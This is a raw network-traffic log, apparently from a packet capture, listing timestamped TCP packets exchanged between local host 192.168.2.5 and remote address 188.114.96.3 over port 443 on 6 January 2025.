Jan 6, 2025 13:56:32.543509960 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.543545008 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.547494888 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.547553062 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.547559977 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.547607899 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.547647953 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.547683954 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.547708035 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.547714949 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.547729969 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.547756910 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.548293114 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.548356056 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.548367977 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.548418045 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.548423052 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.548429966 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.548472881 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.549185038 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.549237967 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.549238920 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.549249887 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.549283028 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.549293041 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.549326897 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.549345970 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.549352884 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.549381971 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.550200939 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.550250053 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.550256014 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.550263882 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.550308943 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.550880909 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.550928116 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.550987005 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.551021099 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.551021099 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.551029921 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.551039934 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.551091909 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.551855087 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.551898956 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.551919937 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.551924944 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.551940918 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.551960945 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.551960945 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.551968098 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.551989079 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.551994085 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.552074909 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.552081108 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.552143097 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.552809000 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.552853107 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.552866936 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.552892923 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.552911997 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.552920103 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.552947044 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.553761005 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.553812027 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.553818941 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.553858995 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.564999104 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.565095901 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.617301941 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.617347956 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.617364883 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.617388010 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.617397070 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.617465973 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.617993116 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.618010998 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.618125916 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.618125916 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.618134975 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.618562937 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.618582010 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.618617058 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.618624926 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.618637085 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.619398117 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.619415045 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.619450092 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.619457960 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.619469881 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.620276928 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.620300055 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.620338917 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.620348930 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.620392084 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.621303082 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.621320009 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.621361017 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.621367931 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.621400118 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.621627092 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.621650934 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.621690989 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.621699095 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.621718884 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.656702995 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.656723022 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.656775951 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.656785965 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.656796932 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.705981016 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.707468987 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.707485914 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.707504988 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.707530975 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.707582951 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.707591057 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.707634926 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.707987070 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.708005905 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.708043098 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.708056927 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.708111048 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.708111048 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.708585024 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.708635092 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.708755016 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.708760023 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.708854914 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.708878994 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.708887100 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.708944082 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.708950043 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.709018946 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.709106922 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.709181070 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.709546089 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.709559917 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.709697962 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.709706068 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.709786892 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.710243940 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.710262060 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.710325956 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.710333109 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.710344076 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.710362911 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.710371971 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.710377932 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.710411072 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.710535049 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.737639904 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.748346090 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.748368025 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.748411894 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.748420000 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.748442888 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.748462915 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.799115896 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.799144030 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.799185991 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.799197912 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.799210072 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.799245119 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.799582005 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.799602032 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.799638033 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.799647093 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.799666882 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.799706936 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.799892902 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.799909115 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.799988031 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.799988031 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.799995899 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.800040960 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.800317049 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.800340891 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.800401926 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.800401926 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.800410032 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.800468922 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.800554991 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.800585032 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.800626040 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.800633907 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.800642014 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.800693035 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.801039934 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.801057100 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.801110983 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.801116943 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.801136017 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.801162004 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.801377058 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.801642895 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.801661015 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.801706076 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.801712990 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.801740885 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.801759005 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.802031040 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.839989901 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.840013027 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.840045929 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.840054989 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.840085030 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.840133905 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.890943050 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.890961885 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.891053915 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.891053915 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.891072989 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.891144991 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.891720057 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.891737938 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.891804934 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.891813993 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.891868114 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.891874075 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.891886950 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.891910076 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.891937971 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.891949892 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.891963959 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.891988039 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.891999960 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.892003059 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.892014980 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.892040968 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.892066002 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.892086983 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.892106056 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.892144918 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.892152071 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.892163038 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.892201900 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.892431974 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.892452002 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.892512083 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.892512083 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.892519951 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.892564058 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.892656088 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.892671108 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.892730951 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.892730951 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.892740965 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.892791986 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.907202005 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.931612015 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.931632996 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.931726933 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.931736946 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.931807041 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.982336998 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.982367039 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.982431889 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.982431889 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.982445002 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.982496977 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.982696056 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.982763052 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.982770920 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.982777119 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.982815981 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.982830048 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.983035088 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.983057976 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.983114958 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.983124018 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.983174086 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.983278036 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.983294010 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.983339071 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.983346939 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.983402967 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.983573914 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.983604908 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.983619928 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.983619928 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.983627081 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.983649015 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.983681917 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.983892918 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.983912945 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.984016895 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.984016895 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.984024048 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.984072924 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.984237909 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.984256029 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.984308958 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.984314919 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:32.984333992 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:32.984358072 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.001888990 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.023457050 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.023503065 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.023556948 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.023565054 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.023605108 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.023605108 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.074009895 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.074031115 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.074158907 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.074167967 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.074218035 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.074388981 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.074404001 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.074461937 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.074470043 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.074492931 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.074522972 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.074604034 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.074632883 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.074686050 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.074695110 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.074703932 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.074770927 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.075984001 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.076004028 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.076066971 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.076073885 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.076121092 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.076154947 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.076176882 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.076239109 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.076245070 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.076292038 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.076313972 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.076313972 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.076318026 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.076334000 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.076364040 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.076394081 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.076426029 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.076446056 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.076481104 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.076487064 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.076525927 CET	49986	443	192.168.2.5	188.114.96.3
